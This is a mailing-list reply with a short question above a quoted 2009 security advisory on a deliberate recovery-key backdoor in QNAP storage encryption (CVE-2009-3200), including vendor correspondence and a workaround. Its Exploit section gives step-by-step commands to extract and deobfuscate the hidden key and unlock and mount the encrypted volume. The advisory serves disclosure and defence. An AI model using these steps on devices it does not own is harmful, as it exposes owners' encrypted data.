How feasible is it for a user to gain network access to the network device? Is it just a matter of gaining access via SSH? Or is there something more that a malicious user has to do?
--Rohit Patnaik Marc Heuse wrote: > ________________________________________________________________________ > > Title: Crypto backdoor in Qnap storage devices > Date: 18 September 2009 > URL: > http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt > > ________________________________________________________________________ > > Vendor: QNAP Systems > Products (verified): TS-239 Pro, TS-639 Pro > Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP, > TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP > Vulnerability: hard disk encryption bypass due recovery key > Affected Releases: 3.1.1 0815, 3.1.0 0627, 2.1.7 0613, > and presumably all other > Severity: Moderate/High > CVE: CVE-2009-3200 > > ________________________________________________________________________ > > Overview: > > The premium and new line of QNAP network storage solutions allow > for full hard disk encryption. When rebooting, the user has to > unlock the hard disk by supplying the encryption passphrase via > the web GUI. > > However, when the hard disk is encrypted, a secondary key is > created, added to the keyring, and stored in the flash with minor > obfuscation. > > > Impact: > > The encrypted hard disk can be unlocked and potential sensitive > contents access by attackers who obtain physical or network > access to the hard disk and flash. > > > Description: > > When a user selects in the web GUI to encrypt a hard drive, he > has to supply a passphrase of 8-16 length. > The Qnap solution is to use the underlying Linux standard > mechanisms of LUKS to create the encrypted partition. > The user supplied passphrase is crypt(3)'ed with the MD5 salt > of $1$YCCaQNAP$ and used as the initial key to access the LUKS > master key for the drive. > > Additionally, the system creates a second key, which is 32 > characters long and contains all low case characters and the > numbers 0-9, and adds it to the LUKS keyring: > /sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \ > --key-file=/tmp/temp.rUBxFo > > Before writing the second key to the flash, the key is then > obfuscated in the following way: > the first six characters are reversed and written to the end > of the string. > The obfuscated string is then written to the flash (/dev/sdx6 > on current Qnap storage devices) in the ENCK variable. > > > Exploit: > > An attacker - or user who has lost his passphrase - just needs > to do the following: > > 1. Obtain the backdoor key from the flash: > # strings /dev/sdx6 | grep ENCK > ENCK=ghijklmnopqrstuvwxyz012345fedcba > It is possible that several ENCK keys show up. > > 2. The key has then to be deobfuscated. The last 6 characters have > to be taken, reversed, and put in front of the string: > > ENCK key before: ghijklmnopqrstuvwxyz012345fedcba > ENCK key after: abcdefghijklmnopqrstuvwxyz012345 > > 3. The key file has to be created: > # echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key > > 4. The encrypted volume is unlocked and mounted. The device is > usually /dev/md0 or /dev/sda3. > # /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key > key slot 0 unlocked. > Command successful. > # mount /dev/mapper/md0 /share/MD0_DATA > Full access to the encrypted volume has been obtained. > > > Additional Weaknesses: > > The backdoor key is generated by rand() calls. As the rand() > function produces random numbers unsuitable for cryptographic > keys. The cryptographic strength of this generated key is > approx 2^32, hence feasible for breaking. This would make > access to the flash unnecessary. > > The LUKS partition is created in AES-256 in plain CBC mode. This > mode is susceptible to watermark attacks. > > > Solution: > > No fix is available from the vendor yet and scheduled for the > following month. > > The official company statement is: > "The security notice from Baseline Security was received by Qnap > on the 16th September 2009 and rated as important. > Currently, a new and enhanced firmware version is already in > testing. An update is planned for the following month" > > As this was implemented on purpose by the vendor, and feedback > from the taiwanese development team was scarce, it was decided > to publish the information to put public pressure on the company > to ensure not only supplying a quick update, but also announcing > the issue properly so users see the need for installed the > coming imporant firmware update. > > It was proposed to the vendor to remove the key from the keyring > as described in the workaround section. > Additionally the ENCK values in the flash should be overwritten. > > Once a firmware update is available, it will be tested that it > removes the crypto backdoor. > Watch the advisory URL for updates: > > http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt > > > Workaround: > > There is no workaround available which can be used by a novice > user. > > The best solution is to remove the backdoor key from keyslot 0. > However this requires hashing the user passphrase. For this, a > Linux system has to be available, which has the "mkpasswd" command > installed (whois package). > Execute: > # mkpasswd --hash=md5 --salt='YCCaQNAP' > and enter the password on the Password: prompt. Copy the outout. > > On the Qnap device, create the keyfile with the password hash: > # echo -n "...the output of mkpasswd..." > /tmp/mykey > > Now remove the backdoor key: > # /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey > > Remove all sensitive data, wipe the shell history, and logoff: > # echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey > # rm /tmp/mykey /tmp/key > # HISTSIZE=0 > # exit > > As an additional measure, the flash can be edited and the saved > key overwritten (this requires the ipkg package installed). > Install a hex editor, run the hexeditor on the flash, and > overwrite ENCK values: > # ipkg install hexcurse > # hexcurse /dev/sdx6 > (a hex editor window is loading) > Type Control-F, then 454e434b and hit Enter. > Use the cursor keys to the character string after the "ENCK=" > string and then type in as many "A" characters, until the string > is full. Type Control-S to save, adn Control-Q to quit. > > Please note that no liability is given whatsoever by anyone > if the workaround is used. It is recommended to be performed > by experienced users only. > > > Original Vendor FUD: > > "The functionality for encryption the hard disk does not include > a crypto backdoor." > (in response to a user question why two keyslots are allocated, > and if this is because of a backdoor) > http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346 > http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341 > > ________________________________________________________________________ > > Credit: > > Analysis performed thanks to the ultimate binary analysis tool > BinNavi by Zynamics, and the great - and free - IDA Pro > Dissassembler 4.9 by Datarescue. > > Greets to the teams at Red Database Security, Recurity Labs, > THC and n.runs. > > ________________________________________________________________________ > > Vendor communication: > > 10 September 2009 Issue posted in the Qnap support forum > > 15 September 2009 Notification on crypto backdoor sent directly > to Qnap to force a response, giving 72 hours > to explain why the backdoor exists, when and > how it will be removed, and how this > information will be made available to the users. > > 15 September 2009 Qnap support contact confirms notification, > and informs of forwarding to support team > in Taiwan for clarification > > 16 September 2009 Phone cann from Qnap representive, stating > this issue is a high priority > > 18 September 2009 No statement from Qnap was given on why the > backdoor exists and if and when it will be > removed. > > 18 September 2009 This advisory is released > > ________________________________________________________________________ > > Contact: > > [email protected] > > Baseline Security Consulting > http://www.baseline-security.de > > ________________________________________________________________________ > > The information provided is released "as is" without warranty of > any kind. The publisher disclaims all warranties, either express or > implied, including all warranties of merchantability. > No responsibility is taken for the correctness of this information. > In no event shall the publisher be liable for any damages whatsoever > including direct, indirect, incidental, consequential, loss of > business profits or special damages, even if the publisher has been > advised of the possibility of such damages. > > > The contents of this advisory is copyright (c) 2009 by Marc Heuse > and may be distributed freely provided that no fee is charged for > the distribution and proper credit is given. > > ________________________________________________________________________ > > > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
